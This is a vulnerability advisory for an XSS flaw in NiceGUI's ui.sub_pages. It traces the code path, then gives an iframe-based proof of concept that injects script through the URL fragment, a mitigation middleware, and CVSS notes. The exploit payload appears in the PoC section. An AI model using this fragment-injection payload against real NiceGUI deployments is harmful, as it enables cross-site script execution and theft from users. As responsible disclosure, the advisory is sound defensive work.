CVE-2026-21873 — nicegui

Summary

An unsafe implementation in the pushstate event listener used by ui.sub_pages allows an attacker to manipulate the fragment identifier of the URL, which they can do despite being cross-site, using an iframe.

Details

The problem is traced as follows:

1. On pushstate, handleStateEvent is executed.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L38-L39

1. handleStateEvent emits sub_pages_open event.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.js#L22-L25

1. SubPagesRouter (used by ui.sub_pages), lisnening on sub_pages_open, _handle_open runs.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L18-L22

1. _handle_open finds any SubPages and runs _show() on them

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/sub_pages_router.py#L63-L71

1. If the if-logic is followed or debug prints are added, it can be found that it calls self._handle_scrolling(match, behavior='smooth') directly

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L76-L100

1. CULPRIT _handle_scrolling runs _scroll_to_fragment as there is a fragment, which runs vulnerable JS if the fragment (attacker-controlled) escapes out of the quotes.

https://github.com/zauberzeug/nicegui/blob/59fa9424c470f1b12c5d368985fa36e21fda706b/nicegui/elements/sub_pages.py#L206-L217

PoC

Just visiting this page (no click required), consistently triggers XSS in https://nicegui.io domain.

<html>
  <body>
    <iframe id="myiframe" src="https://nicegui.io" width="100%" height="600px" onload="triggerXSS()"></iframe>
    <script>
      function triggerXSS() {
        if (!myiframe.src.includes("#")) {
          myiframe.src = "https://nicegui.io#x');alert(document.domain)//";
        }
      }
    </script>
  </body>
</html>

Impact

Any page which uses ui.sub_pages and does not actively prevent itself from being put in an iframe is affected.

The impact is high since by-default NiceGUI pages are iframe-embeddable with no native opt-out functionalities except by manipulating the underlying app via FastAPI methods, and that ui.sub_pages is actively promoted as the new modern way to create Single-Page Applications (SPA).

Patch

1. Not use ui.sub_pages
2. Block iframe with the following code

@app.middleware('http')
async def iframe_blocking_middleware(request, call_next):
    response = await call_next(request)
    response.headers['X-Frame-Options'] = 'DENY'
    return response

Appendix

AI is used safely to judge the CVSS scoring (input is censored).

Please find the results in https://poe.com/s/3FXuwp7TAYxqLomARXma

Scoring update after manual review

The scoring done by AI was quite biased. Upon further review it is less dramatic.

• User Interaction None: There's almost no interaction required, and none of the interaction is with the vulnerable system.
• Confidentiality & Integrity Low: The extent of data confidentiality & integrity loss is bounded by the highest priviledged user in the entire NiceGUI application. There does not exist a means of performing data manipulating tasks that said admin cannot already do.
• Availability None: No DDoS is possible with this. Site remains performant as ever.